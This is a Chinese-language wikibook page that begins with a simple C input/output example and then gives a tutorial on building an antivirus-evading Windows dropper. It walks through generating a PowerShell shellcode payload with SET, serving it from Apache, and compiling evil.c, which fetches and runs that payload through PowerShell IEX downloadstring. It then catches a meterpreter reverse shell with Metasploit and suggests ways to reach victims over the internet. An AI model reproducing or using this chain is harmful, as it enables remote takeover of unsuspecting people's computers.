跳轉到內容

C 程式設計

來自華夏公益教科書,自由的教科書,為了一個自由的世界


雖然彙編直接接觸核心,但有時高階語言可以更快地完成工作。在這裡,我們將研究一種最有用的程式語言,並將其用於攻擊我們的受害者,以試圖進行利用。

C 程式語言是由丹尼斯·裡奇布萊恩·科尼漢 分別建立的。這種語言不是面向物件的,就像組合語言一樣,不要指望掌握這種語言;即使你精通 C++,也不意味著你可以用它來編寫。

說到編寫語言,讓我們快速看一下如何閱讀它。

輸入和輸出示例

[編輯 | 編輯原始碼]

為了快速說明這種語言的簡單特性,我們將從一個示例應用程式開始。它會提示你“輸入一個整數”,然後將你輸入的數字列印回給你。

#include <stdio.h>
// This is a single-line comment. This is ignored when the code is compiled/run.
int main()
{
  int a;
  printf("Enter an integer\n"); // Prints text to the screen
  scanf("%d", &a);              // Reads user input, and sends the data to the integer 'a'
  printf("Integer that you have entered is %d\n", a); // %d (decimal) tells it to add the integer 'a' where it had been typed
  return 0;
}

輸出

Enter an integer
99
Integer that you have entered is 99

Process returned 0 (0x0)  execution time : 1.949 s
Press any key to continue

可以在這裡找到更多這種語言的示例。

使用 Metasploit 和 SET 的 Powershell 攻擊向量 FUD

[編輯 | 編輯原始碼]

現在,我將提供一個教程,介紹如何在 Kali Linux 上使用 SET 建立 Powershell 攻擊向量。即使你只有setoolkitgcc,你也可以按照這個教程操作。

這將讓你瞭解使用 C 語言及其相應的編譯器gcc可以多麼容易地建立一個好的 FUD。

使用 SET 建立有效載荷

[編輯 | 編輯原始碼]

要建立有效載荷,我們首先需要在具有 root 許可權的終端中鍵入以下內容

setoolkit

給它一些時間載入後,它將提供六個選項。按“1”並回車選擇“社會工程攻擊”。然後會顯示更多選項,只需鍵入“9”然後按回車選擇“Powershell 攻擊向量”選項。在這裡,它會詢問我們關於 Powershell 攻擊向量的型別選項。我們將會選擇“1”也就是“字母數字 Shellcode 注入器”。

  1. 在這裡,它會詢問攻擊者的 LHOST,只需將你的 IP 地址複製/貼上到框中即可。(提示:ifconfig將顯示所有你的網路介面,包括 IP)
  2. 接下來,它會詢問你的 LPORT。這次,你可以按回車鍵將其保留為預設值(位於方括號內),或者你可以鍵入一個隨機值,但要確保記住它。
  3. 最後,它會詢問我們是否希望它為我們啟動一個監聽器。跳過這一步,我們稍後可以輕鬆地做到這一點。
  4. 然後它將在/root/.set/reports/powershell建立一個檔案,你應該將它移動到你的桌面。

將我們的有效載荷部署到 Apache 伺服器

[編輯 | 編輯原始碼]

現在,將我們的新有效載荷上傳到 Apache 服務是合適的,這樣我們的 C 程式就可以在受害者的 Powershell 上下載並執行。

  1. 首先,我們將x86_powershell_injection.txt移動到/var/www/html/payload.txt,這樣 Apache 就可以找到它。
  2. 接下來,我們使用以下命令啟動 Apache:service apache2 start

很好,現在我們準備製作病毒了。

使用 C 建立 FUD

[編輯 | 編輯原始碼]

首先,使用 Vim 或 Nano 在你的桌面上開啟一個名為“evil.c”的檔案。用以下 C 原始碼填充它

#include <stdio.h>
int main()
{
    system("powershell.exe \"IEX ((new-object net.webclient).downloadstring('YOURLHOSTHERE/payload.txt')\"");
    return 0;
}

請記住,將“YOURLHOSTHERE”更改為在 SET 中建立有效載荷時使用的 LHOST。

現在,我們將使用 gcc 編譯evil.c檔案

gcc ~/Desktop/evil.c -o ~/Desktop/evil.exe

現在我們已經將我們的程式編譯成可執行檔案,我們可以啟動我們的監聽器。

啟動監聽器

[編輯 | 編輯原始碼]

現在我們可以啟動 Metasploit 框架,輸入

msfconsole

載入完成後,輸入

use multi/handler

現在我們可以設定這些選項,如下所示

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 1.1.1.1
set LPORT 443

顯然,像之前一樣,將 LHOST 和 LPORT 更改為你在 SET 中建立有效載荷時使用的值。

現在你可以鍵入以下內容來啟動監聽器

exploit

現在,當有人執行你的 evil.exe 檔案時,你就可以獲得一個會話。

開啟會話

[編輯 | 編輯原始碼]

如果會話沒有自動開啟,你可以鍵入以下內容來列出所有會話及其編號

sessions -l

最後,開啟一個會話

sessions -i 1

最終說明

[編輯 | 編輯原始碼]

請記住,除非受害者在你的 LAN 上,否則此攻擊不會奏效。你可以透過嘗試以下選項之一在網際網路上的受害者上測試它

  • Hamachi(或其他)
  • VPN
  • 埠轉發
華夏公益教科書